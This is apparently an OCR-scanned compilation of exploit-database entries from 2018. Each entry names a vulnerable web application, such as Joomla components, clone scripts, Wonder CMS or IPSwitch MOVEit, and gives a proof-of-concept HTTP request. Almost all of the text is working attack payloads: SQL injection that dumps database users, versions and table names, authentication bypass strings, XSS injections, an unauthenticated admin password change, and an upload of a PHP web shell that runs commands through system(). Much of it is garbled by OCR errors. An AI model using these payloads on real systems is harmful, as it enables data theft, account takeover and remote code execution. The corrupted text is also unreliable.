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Joomla! Component
LogicalDOC Enterprise
userSpice
Paypal Clone Script
Alibaba Clone Script
Twig
Fancy Clone Script
CMS Made Simple
Real Estate Custom Script
Social Oauth Login PHP
Advance Loan Management System
Oracle Primavera P6 Enterprise Project Portfolio Management
IPSwitch MOVEit
Schools Alert Management Script
Event Manager
Entrepreneur Dating Script
Wonder CMS
Lawyer Search Script
SOA School Management
Groupon Clone Script
EPIC MyChart
Matrimonial Website Script
TV - Video Subscription
NixCMS
PSNews Website
Online Voting System
Learning and Examination Management System
Student Profile Management System Script
Parallels Remote Application Server
Online Test Script
School Management Script
Hot Scripts Clone Script Classified
Routers2
Naukri Clone Script
Doctor Search Script
Multi Language Olx Clone Script
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Learning and Examination Management System
= Parallels Remote Application Server

School Management Script
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= Lawyer Search Script
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Online Test Script
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Naukri Clone Script
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HesstEhTIV

SQL Injection

BRMGE

Joomla! Component JEXTN
Membership 3.1.0 - 'usr_plan'
SQL Injection

POST
/index.php?option=com_jemembership&view=myplans&task=
myplans.usersubscriptions HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

usr_plan=(SELECT 66 FROM(SELECT
COUNT(*),CONCAT(CONCAT_WS(0x203a20,USER(), DATABA
SE(),VERSION()), (SELECT (ELT(1=1,1))),FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA PLUGINS GROUP BY x)a)

WHRIOIS L

Joomla!
Component

Joomla!
Component
JEXTN
Membership
3.1.0
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SQL Injection

BRMGE

Fancy Clone Script -
‘'search_browse_product' SQL
Injection

POST /browse_product HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

_token=850AJbaUmUUIBFOL1YfOF82wpOROTiBwgG2syHHe&
search_browse_product=alloy%"' AND 2261=2261 AND '%'='

Fancy Clone
Script

Fancy Clone
Script
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SQL Injection

BRMGE

Real Estate Custom Script -
‘route’ SQL Injection

POST /index.php?route=property/category HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

route=property/category'l[[(SELECT 'coKq' FROM DUAL WHERE
3062=3062 AND (SELECT 7059 FROM(SELECT
COUNT(*),CONCAT(0x716a6a7671,(SELECT
(ELT(7059=7059,1))),0x7176717671,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA PLUGINS GROUP BY
x)a))|l'&filter_propertystatus=18&filter_propertycategory=63&filt
er_city=any&filter_address=any&filter_country_id=223&filter_z
one_id=&filter_range=1;10&

Real Estate
Custom Script

Real Estate
Custom Script
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SQL Injection

BEMGE

Advance Loan Management
System - 'id' SQL Injection

/view_pmt.php?id=9' AND 7768=7768 AND 'Vgmm'='Vgmm

Advance Loan
Management
System

Advance Loan
Management
Svstem
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XSS

el

IPSwitch MOVEIit 8.1 < 9.4 -
Cross-Site Scripting

FPOUST /NUMAN.aspxX/T=o09Z49Z538 HTTP/T.T

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

czf=9c9e7b2a9c9e7b2a9c9e7b2a9c9e7b2a9c066e4aeed1bf9
7f581826d8c093953d82d2b692be5490ece 13e6b23f1ad09bd
a751db1444981eb029d2427175f9906&server=host.com&url=
% 2Fhuman.aspx&instid=2784&customwizlogoenabled=0&cus
tomwiznameup==&customwizzipnameup=% 5Bdefault% 5D &tr
ansaction=secmsgpost&csrftoken=1a9cc0f7aa7ee2d9e0059d6
b01da48b69a14669d&curuser=kuxt36r50uhg0sXX&arg12=se
cmsgcompose&Arg02=&Arg03=452565093&Arg05=edit&Arg
07=forward&Arg09=&Arg10=&0pt06=&0pt08=&opt01=usern
ame&opt02=&opt03=&arg01=FW % 3A+test&Opt12=1&arg04
=¢iframe/src=javascript:alert(1)>&attachment=&opt07=1&arg

AC Cond—Coand

IPSwitch
MOVEit

IPSwitch
MOVEiIt 8.1 <
9.4
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SQL Injection

BRMEE

Joomla! Component JE
PayperVideo 3.0.0 - 'usr_plan’
SQL Injection

POST
/index.php?option=com_jepaypervideo&view=myplans&task=
myplans.usersubscriptions HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

url_plan=(SELECT 66 FROM(SELECT
COUNT(*),CONCAT(CONCAT_WS(0x203a20,USER(), DATABA
SE(),VERSION()), (SELECT (ELT(1=1,1))),FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA PLUGINS GROUP BY x)a)

Joomla!
Component

Joomla!
Component
JE
PayperVideo
3.00
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SQL Injection

BRMEE

Event Manager 1.0 - SQL
Injection

/event.php?id=1%20and%201=1--

/page.php?slug=1%20and%201=1--

Event Manager

Event
Manager 1.0
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SQL Injection

BRMGE

Joomla! Component JEXTN
Reverse Auction 3.1.0 - SQL
Injection

/index.php?option=com_jereverseauction&view=products&lay
out=default_message&tmpl=component&id=%2d%31%20%
20%2f%2a%21%30%38%38%38%38%55%4e%49%4f%
4e%2a%2f%20%2f%2a%21%30%38%38%38%38%53%
45%4c%45%43%54%2a%2f%20%30%78%33%31%2c%
30%78%33%32%2c%30%78%33%33%2c%30%78%33
%34%2c%30%78%33%35%2c%28%53%65%6c%65%6
3%74%20%65%78%70%6{%72%74%5{%73%65%74%2
8%35%2c%40%32a%3d%30%2c%28%73%65%6C%65%
63%74%20%63%6f%75%6€%74%28%2a%29%66%72
%6f%6d%28%69%6€%66%6f%72%6d%61%74%69%6f
%6€%5f%73%63%68%65%6d%61%2e%63%6f%6c%75
%6d%6€%73%29%77%68%65%72%65%40%3a%3d%6
5%78%70%6f%72%74%5f%73%65%74%28%35%2c%6
5%78%70%6{%72%74%5f%73%65%74%28%35%2c%4
0%2c%74%61%62%6C%65%5f%6e%61%6d%65%2c%3
0%78%33%63%36%63%36%39%33%65%2c%32%29%
2¢%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%2c%
30%78%61%33%61%2c%32%29%29%2c%40%2c%32
%29%29%2d%2d%20%2d&uid=1

Joomla!
Component

Joomla!
Component
JEXTN
Reverse
Auction 3.1.0
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Joomla! Component JEXTN
Classified 1.0.0 - 'sid" SQL
Injection
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d%32%38%30%30%27%20%20%2{%2a%21%31%33%
33%33%37%55%4e%49%4f%4e %2a%2f%28%2f{%2a%
21%31%33%33%33%37%53%45%4C%45%43%54%2a

%2f%28%31%29%2c%28%32%29%2c%28%53%65%6¢
%65%63%74%20%65%78%70%6f%72%74%5{%73%65
%74%28%35%2c%40%3a%3d%30%2c%28%73%65%6
C%65%63%74%20%63%6f%75%6e%74%28%2a%29%
66%72%61%6d%28%69%6€%66%6f%72%6d%61%74%
69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6{%
6C%75%6d%6€%73%29%77%68%65%72%65%40%3a

%3d%65%78%70%6f%72%74%5f%73%65%74%28%35
%2c%65%78%70%6f%72%74%5{%73%65%74%28%35
%2c%40%2c%74%61%62%6C%65%5f%6e%61%6d%65
%2¢%30%78%33%63%36%63%36%39%33%65%2c%3
2%29%2c%63%6f%6C%75%6d%6e%5f%6e%61%6d%6
5%2c%30%78%61%33%61%2c%32%29%29%2c%40%
2¢%32%29%29%2C%28%34%29%2C%28%35%29%2¢

%28%36%29%2c%28%37%29%2C%28%38%29%2c%?2
8%39%29%2c%28%31%30%29%2c%28%31%31%29%
2¢%28%31%32%29%2c%28%31%33%29%2c%28%31

%34%29%2c%28%31%35%29%2c%28%31%36%29%2
C%28%31%37%29%2c%28%31%38%29%2c%28%31%
39%29%2c%28%32%30%29%2c%28%32%31%29%2c

%28%32%32%29%2c%28%32%33%29%2c%28%32%3
4%29%2c%28%32%35%29%2c%28%32%36%29%29%

WHRIOIS

Joomla!
Component

Joomla!
Component
JEXTN
Classified
1.0.0
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File Upload

BRMGE

Joomla! Component Jimtaw!
2.1.6 - Arbitrary File Upload

POST
/index.php?option=com_jimtawl&view=upload&task=upload&
pop=true&tmpl=component HTTP/1.1

Host:

Connection: Close

Accept: text/html, application/xhtml+xml, */*
Accept-Language: ko-KR

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT
6.2; WOW64; Trident/6.0)

Content-Type: multipart/form-data; boundary=--------------==-----
______ 74410020002

Joomla!
Component

Joomla!
Component
Jimtawl 2.1.6
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SQL Injection

BEMGE

Joomla! Component JMS Music
1.1.1 - SQL Injection

/index.php?option=com_jmsmusic&view=search&keyword=%
45%66%65%27%20%41%4e%44%20%28% 53 %45 % 4c
%45%43%54%20%36%36%20%46%52 %4f%4d%28%5
3%45%4C%45%43%54%20%43%4f%55%4e %54 %28%
2a%29%2c%43%41%4e%43%41 % 54%28%43 %41 % 4e %
43%41%54%5f%57%53%28%30%78%32%30%33%61
%32%30%2C%55%53%45%52%28%29%2c%44%41 %5
4%41%42%41 %53%45%28%29%2C%56%45%52 %53 %
49%41%4e%28%29%29%2C%28%53%45%4c%45%43%
54%20%28%45%4C%54%28%36%36%3d%36%36%2C
%31%29%29%29%2C%46%4C%4f%4f%52%28%52 %41
%4€%44%28%30%29%2a%32%29%29%78%20%46%5
2%41%4d%20%49%4e %46 %41 %52 %4d %41 % 54%49%4
f%4e%5f%53%43%48%45%4d %41 % 2e %50 %4c% 55 %4
7%49%4€%53%20%47 %52 %4f%55%50%20%42 % 59%
20%78%29%61%29%2d%2d%20%56%65%72%41%79
%61%72%69

/index.php?option=com_jmsmusic&view=search&artist=%27
%20%20%2f%2a%21%30%32%32%32%32%55%4e %4
9%4f%4e%2a%2f%20%2f%2a%21%30%32%32%32%3
2%53%45%4C%45%43%54%2a%2f%20%43%4f % 4e %4
3%41%54%5f%57%53%28%30%78%32%30%33%61%
32%30%2C%55%53%45%52%28%29%2C%44%41 %54
%41%42%41%53%45%28%29%2C%56%45%52 %53 %4
9%41%4e%28%29%29%2d%2d%20%2d

/index.php?option=com_jmsmusic&view=search&username=
%45%66%65%27%20%41%4e%44%20%28%53%45%4
C%45%43%54%20%36%36%20%46%52%4f%4d%28%
53%45%4C%45%43%54%20%43%4f%55%4e % 54%28
%2a%29%2C%43%4f%4e%43%41 % 54%28%43% 4 % 4e
%43%41%54%5f%57%53%28%30%78%32%30%33%6
1%32%30%2¢%55%53%45%52%28%29%2c%44%41 %
54%41%42 %41 %53%45%28%29%2C%56%45%52 %53
%49%41%4e%28%29%29%2c%28%53%45%4Cc%45%43
%54%20%28%45%4C%54%28%36%36%3d%36%36%2
C%31%29%29%29%2C%46%4Cc %4 % 4f%52%28%52 %4
1%4€%44%28%30%29%23%32%29%29%78%20%46%
52%41%4d%20%49%4e %46%4f%52 %4d %41 %54 %49 %
Af%4e%5f%53%43%48%45%4d %41 %2e%50%4C%55%
47%49%4€%53%20%47 %52 % 4f%55%50%20%42 %59
%20%78%29%61%29%2d%2d%20%56%65%72%41 %7
9%61%72%69

Joomla!
Component

Joomla!
Component
IMS Music

1.1
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File Upload

BRMGE

Wonder CMS 2.3.1 -
Unrestricted File Upload

POST 7demo/example HTTP/T.T

Host:

Connection: Close

Accept: text/html, application/xhtml+xml, */*
Accept-Language: ko-KR

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT
6.2, WOW64; Trident/6.0)

Content-Type:multipart/form-data; boundary=----
WebKitFormBoundaryRSODBtBLSjtjwSkS

------ WebKitFormBoundaryRSODBtBLSjtjwSkS
Content-Disposition: form-data; name="uploadFile";

filename="shell.php"
Content-Type: application/octet-stream

<{?php

$cmd=$_GET['cmd'];

system($cmd);

-;----WebKitForm BoundaryRSODBtBLSjtjwSkS
Content-Disposition: form-data; name="token"
9c81299ce16adb3bc3c4feca840b9fcad4e4783bdb1805f9bc2

3c9cdb46c0947
------ WebKitFormBoundaryRSODBtBLSjtjwSkS--

Wonder CMS

Wonder CMS
2.3.1

Panta
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HasstEh7TIY

SQL Injection

BRMGE

Matrimonial Website Script 2.1.6
- 'uid’ SQL Injection

/entrepreneur/view-profile.php?uid=1%20and%201=1--

WHRIOIS

Matrimonial
Website Script

Matrimonial
Website
Script 2.1.6
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SQL Injection

BRMGE

NixCMS 1.0 - ‘category_id' SQL
Injection

/single.php?category_id=24' AND 1662=1662 AND
‘ZFBe'='ZFBe

NixCMS

NixCMS 1.0

2018-02-05
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Authentication
Bypass

Online Voting System -
Authentication Bypass

POST /Onlinevoting/admin/profile.php HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

id=1&admin=admin&password=changepassword&edit=

Online Voting
System

Online Voting
System

2018-02-05
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SQL Injection

BRMGE

Joomla! Component Zh
BaiduMap 3.0.0.1 - SQL
Injection

POST
/index.php?option=com_zhbaidumap&no_html=1&format=ra
w&task=getPlacemarkDetails HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

id=id=-11 UNION ALL SELECT
11,11,11,11,11,11,11,11,/¥101111CONCAT*/((/*!01111SELE
CT*/(@x)/*!01111FROM*/(/*101111SELECT*/(@x:=0x00), (@
NR:=0),(/*!01111SELECT*/(0)/*!01111FROM*/(INFORMATIO
N_SCHEMA TABLES)/*!01111WHERE*/(TABLE_SCHEMA!=0x
696e116726d6174696f6e5f736368656d61)/+101111AND*/(
0x00)IN(@x:=/*!01111CONCAT*/(@x,/*!01111LPAD*/(@NR:
=@NR%1,4,0x30),0x3a20,table_name,0x3c62723e))))x)),11,1
1,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,
1,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,
1,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,
15

POST
/Joomla375/index.php?option=com_zhbaidumap&no_html=1
&format=raw&task=getPlacemarkHoverText HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

1
1
1

id=-22 UNION ALL SELECT
22,22,22,22,22,22,22,22,/*102222CONCAT*/((/*102222SELE
CT*/(@x)/*102222FROM*/(/*102222SELECT */(@x:=0x00),(@
NR:=0),(/*102222SELECT*/(0)/*!02222FROM*/(INFORMATIO
N_SCHEMA.TABLES)/*102222WHERE*/(TABLE_SCHEMA!=0x
696€226726d6174696f6e5f736368656d61)/+102222 AND*/(
0x00)IN(@x:=/+102222CONCAT*/(@x,/*102222LPAD*/(@NR:
=@NR% 1,4,0x30),0x3a20,table_name,0x3c62723¢))))x)),22,2
2--

POST
/index.php?option=com_zhbaidumap&no_html=1&format=ra
w&task=getPathHoverText HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

id=-33 UNION ALL SELECT
33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,
33,33,/%103333CONCAT*/((/*!03333SELECT*/(@x)/*103333F
ROM*/(/*103333SELECT */(@x:=0x00),(@NR:=0),(/*!03333SE
LECT*/(0)/*!03333FROM*/(INFORMATION_SCHEMA TABLES)
/*103333WHERE*/(TABLE_SCHEMA!=0x696e116f726d61746
96f6e5f736368656d61)/*103333AND +/(0x00)IN(@x:=/*10333
3CONCAT+/(@x,/*103333LPAD*/(@NR:=@NR % 1,4,0x30),0x3
a20,table_name,0x3c62723e))))x)),33,33,33,33,33,33,33,33,3
3,33,33,33,33,33,33,33,33,33,33,33-

Joomla!
Component

Joomla!
Component
Zh BaiduMap

3.0.0.1

Panta
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HesstEhTIV

POST
/index.php?option=com_zhbaidumap&no_html=1&format=ra
w&task=getPathDetails HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

id=-44 UNION ALL SELECT
44,44,44,44,44,44,44,44,44, 44,44, 44,44, 44, 44, 44,44, 44,44, |
*104444CONCAT*/((/*104444SELECT */(@x)/* |04444FROM */
(/*104444SELECT*/(@x:=0x00), (@NR:=0), (/*|04444SELECT/(
0)/+104444FROM+/(INFORMATION_SCHEMA TABLES)/* 10444
AWHERE+/(TABLE_SCHEMA1=0x696e116f726d6174696{6e5f
736368656d61)/+ 104444 AND */(0x00)IN(@x:=/*104444CONC
AT+/(@x,/*104444LPAD+/(@NR:=@NR%1,4,0x30),0x3a20, tab
le_name,0x3c62723e))))x)),44,44,44,44,44,44,44,44,44, 44 4
4,44,44,44,44,44,44,44,44,44, 44,44, 44, A4~

WHRIOIS L

2018-02-05

43975

SQL Injection

BRMGE

Joomla! Component Zh
YandexMap 6.2.1.0 - 'id' SQL
Injection

TOST
/index.php?option=com_zhyandexmap&no_html=1&format=r
aw&task=getPlacemarkDetails HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

id=-11 UNION ALL SELECT
11,11,11,11,11,11,11,11,/%101111CONCAT*/((/*!01111SELE
CT*/(@x)/*101111FROM*/(/*101111SELECT*/(@x:=0x00),(@
NR:=0),(/*!01111SELECT*/(0)/*!01111FROM*/(INFORMATIO
N_SCHEMA.TABLES)/*!01111WHERE*/(TABLE_SCHEMA!=0x
696e116f726d6174696f6e5f736368656d61)/+101111AND*/(
0x00)IN(@x:=/*101111CONCAT*/(@x,/*!01111LPAD*/(@NR:
=@NR% 1,4,0x30),0x3a20,table_name,0x3c62723¢))))x)),11,1
1,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,
11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,
11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,
11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11, 11
11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,
11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,
11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,

Joomla!
Component

Joomla!
Component
Zh
YandexMap
6.2.1.0

2018-02-05

43976

SQL Injection

BRMGE

Joomla! Component Zh
GoogleMap 8.4.0.0 - SQL
Injection

POST
/index.php?option=com_zhgooglemap&no_html=1&format=r
aw&task=getPlacemarkDetails HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

id=-11 UNION ALL SELECT

11,11,11,11,11,11,11,11, CONCAT((SELECT (@x)FROM(SELECT
(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHE
MA TABLES)WHERE(TABLE_SCHEMA!=0x696€116f726d6174
6966e5f736368656d61)AND (0x00)IN(@x:=CONCAT(@x,LPA
D(@NR:=@NR% 1,4,0x30),0x3a20,table_name,0x3c62723e))))
x)),11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,
T 111, 11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,
T 111, 11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,
T, 11 11,11,11,11,11,11,11,11,11,11,11,11,11,11,
T, 11 11,11,11,11,11,11,11,11,11,11,11,11,11,11,
T, 11 11,11,11,11,11,11,11,11,11,11,11,11,11,11,
T, 11 11,11,11,11,11,11,11,11,11,11,11,11,11,11,
11,1111,1,11,11,110,11,11,11,11,11,11,11,11,11,11--

POST
/index.php?option=com_zhgooglemap&no_html=1&format=r
aw&task=getPlacemarkHoverText HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

id=-22 UNION ALL SELECT
22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,CONCA
T((SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0), (SELECT(0)
FROM(INFORMATION_SCHEMA TABLES)WHERE(TABLE_SCHE
MA!=0x696e116f726d6174696f6e5f736368656d61) AND (0x0
0)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%1,4,0x30),0x3a20,t
able_name,0x3c62723e))))x)),22,22,22,22,22,22,22,22,22,22
22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,
22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,
22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,
22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,
22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,
22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,
22,22,22,22,22,22,22,22,22,22,22,22,22,22-

Joomla!
Component

Joomla!
Component
Zh
GoogleMap
8.4.0.0

Panta
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HesstEhTIV

POST
/index.php?option=com_zhgooglemap&no_html=1&format=r
aw&task=getPathHoverText HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

id=-33 UNION ALL SELECT
33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,
33,33,33,CONCAT((SELECT(@x)FROM(SELECT(@x:=0x00),(@N
R:=0),(SELECT(0)FROM(INFORMATION_SCHEMA TABLES)WH
ERE(TABLE_SCHEMA!=0x696e336f726d6174696f6e5f736368
656d61)AND (0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR% 1
,4,0x30),0x3a20,table_name,0x3c62723e))))x)),33,33,33,33,3
3,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,3
3,33,33,33,33,33,33,33,33,33,33,33,33--

POST
/index.php?option=com_zhgooglemap&no_html=1&format=r
aw&task=getPathDetails HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

id=-44 UNION ALL SELECT
44,44,44,44,44,44,44,44,44,44,44,44,44,44,44, 44,44, 44,44,
44,CONCAT((SELECT(@x)FROM (SELECT(@x:=0x00), (@NR:=0),
(SELECT(0)FROM(INFORMATION_SCHEMA . TABLES)WHERE(T
ABLE_SCHEMA!=0x696e116f726d61746966e5f736368656d
61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR% 1,4,0x
30),0x3a20,table_name,0x3c62723¢))))x)),44,44,44,44,44 44,
44,44,44,44,44,44,44,44,44,44,44,44,44, 44,44, 44,44, 44,44,
44,44,44,44,44,44,44,44,44,44,44,44,44,44, 44~

WHRIOIS L

2018-02-05

43977

Information Leak

Joomla! Component jLike 1.0 -
Information Leak

/index.php?option=com_jlike&task=getUserByCommentld&tm
pl=component&format=row

Joomla!
Component

Joomla!
Component
iLike 1.0

2018-02-05

43978

SQL Injection

BEMGE

Joomla! Component JSP Tickets
1.1-SQL Injection

/1Taex.pnp rOpuon=Ccomm_jSpucCKe S&CONuoner=uckeust&dsk=
edit&ticketcode=-66" /*107777UNION=*/ /x107777SELECT*/
nUIL,nUIL,nUIL,nUIL,nUIL, nUIL, nUIL, nUIL, nUIL, nUIL,nUIL,nUIL,n
UIL,nUIL,nUIL,nUIL,nUIL,nUIL,nUIL, nUIL, nUIL, nUIL, nUIL, nUIL, /*
107777CONCAT*/((/*'107777SELECT */+GROUP_CONCAT (tabl
e_name+SEPARATOR+0x3c62723e)+/x107777FROM*/+INFO
RMATION_SCHEMA TABLES+/*107777WHERE*/+TABLE_SCH
EMA=DATABASE())),nUIL,nUIL,nUIL,nUIL--

/index.php?option=com_jsptickets&controller=statuslist&task=
edit&id=66 AND (SELECT 66 FROM(SELECT
COUNT(*),CONCAT(CONCAT_WS(0x203a20,USER(),DATABA
SE(),VERSION()), (SELECT
(ELT(66=66,1))),FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA PLUGINS GROUP BY x)a)

/index.php?option=com_jsptickets&controller=prioritylist&task
=edit&id=66 AND (SELECT 66 FROM(SELECT
COUNT(*),CONCAT(CONCAT_WS(0x203a20,USER(),DATABA
SE(),VERSION()), (SELECT
(ELT(66=66,1))),FLOOR(RAND(0)*2))x FROM

INCADN AT CAAA DIIICING CDALID DV o)

Joomla!
Component

Joomla!
Component
JSP Tickets

1.1

2018-02-05

43980

SQL Injection

PR CE

Student Profile Management
System Script 2.0.6 -
Authentication Bypass

AN e
POST /admin_login.php HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

username=hello&password=admin' or 'a'='a

Student Profile
Management
System Script

Student
Profile
Management
System Script
2.0.6

2018-02-05

43994

SQL Injection

PR EE

Online Test Script 2.0.7 - 'cid"
SQL Injection

/login.php?normal&cid=-
2%20/*!00000UNION*/%20ALL%20SELECT % 20NULL,/*!00
000Concat(%27L0RD%27,0x3C62723E,version(),0x3C62723E
Luser(),0x3C62723E,database())*/,/*!00000group_coNcat(0x3
C62723E,table_name,0x3a,column_name)*/,NULL,NULL% 20/
*100000from+*/% 20information_schema.columns%20where
%?20table schema=schema(1%23

Online Test
Script

Online Test
Script 2.0.7

2018-02-07

43988

XSS

Doctor Search Script 1.0.2 -
Persistent Cross-Site Scripting

POST /demo/doctorsearch/profile-edit HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

fname=gaya&Iname=test&email=<script>alert("test")</script> &
country=94&state=3452&profilesubmit=Save Profile

Doctor Search
Script

Doctor Search
Script 1.0.2

Panta
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HasstEh7TIY

ot

Hot Scripts Clone Script
Classified - Persistent Cross-Site
Scripting

POST /~scrictory/listing/9kcuMzM=9322/catering-system-by-
jabber.html HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

title=test&rate_text=<script>alert("test")</script>&pid=&rate=1
&rate_submit=Submit

WHRIOIS

Hot Scripts
Clone Script
Classified

Hot Scripts
Clone Script
Classified

2018-02-07

43995

SQL Injection

BRMGE

Entrepreneur Dating Script
2.0.2 - Authentication Bypass

POST /login.php?lerr HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

Username=test&Password=" or 'x'="x

Entrepreneur
Dating Script

Entrepreneur
Dating Script
202

2018-02-10

44008

SQL Injection

BRMGE

Naukri Clone Script 3.0.3 -
‘indus' SQL Injection

/jobsite-advanced/searchresult.php?searchindus&indus=UNION
SELECT
NULL,NULL,NULL,/*!100000Concat(0x3C62723E,version(),0x3C
62723E,user(),0x3C62723E,database())*/,NULL,NULL,NULL,/*
100000group_coNcat(0x3C62723E,table_name,0x3a,column_
name)#*/,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL/*!00000from*/ information_schema.columns
where table_schema=database()%23

Naukri Clone
Script

Naukri Clone
Script 3.0.3

2018-02-10

44012

XSS

BRMGE

Lawyer Search Script 1.0.2 -
Cross-Site Scripting

POST /demo/Tawyersearch/profile-edit HTTP/T.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

fname=gaya&Iname=test&email=<script>alert("test")</script> &
country=94&state=34528&city=1234&profilesubmit=Save
Profile

Lawyer Search
Script

